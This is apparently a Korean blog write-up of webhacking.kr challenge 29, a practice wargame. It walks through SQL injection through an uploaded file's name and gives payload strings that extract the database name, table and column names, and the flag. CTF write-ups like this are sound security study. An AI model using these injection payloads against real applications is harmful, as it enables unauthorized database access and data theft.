[webhacking.kr] 29번 문제
400점인 29번 문제를 풀어보자.
파일을 업로드 할 수 있어, 테스트로 파일을 업로드 해보았다.
time, ip, file 명 순으로 입력되는 것을 볼 수 있다.
Injection을 시도할 곳을 찾는 중에 filename에 컬럼 순서는 '파일이름' , 타임스탬프(INT), '아이피' 순으로 입력하면 공격이 가능한 것으로 보인다.
테스트 구문 : filname="test",1234, '내 ip')#"
이제 DB값을 가져오기 위한 코드를 작성해서 flag값을 가져오자.
- DB명 출력
filename="test', 1234, '내 ip'),((SELECT database()), 1234, '내 ip')#"
- 테이블명 출력
테이블 명이 2개 이상일 수 있기 때문에 group_concat 사용
filename="test', 1234, '내 ip'),((SELECT group_concat(TABLE_NAME) FROM information_schema.tables WHERE table_schema='chall29'), 1234, '내 ip')#"
- flag_congratz의 컬럼명
filename="test', 1234, '내 ip'),((SELECT group_concat(COLUMN_NAME) FROM information_schema.columns where table_name='flag_congratz'), 1234, '내 ip')#"
- flag 컬럼값
filename="test', 1234, '내 ip'),((SELECT flag FROM flag_congratz), 1234, '내 ip')#"
이제 해당 flag 값을 Auth 페이지에 제출해보자.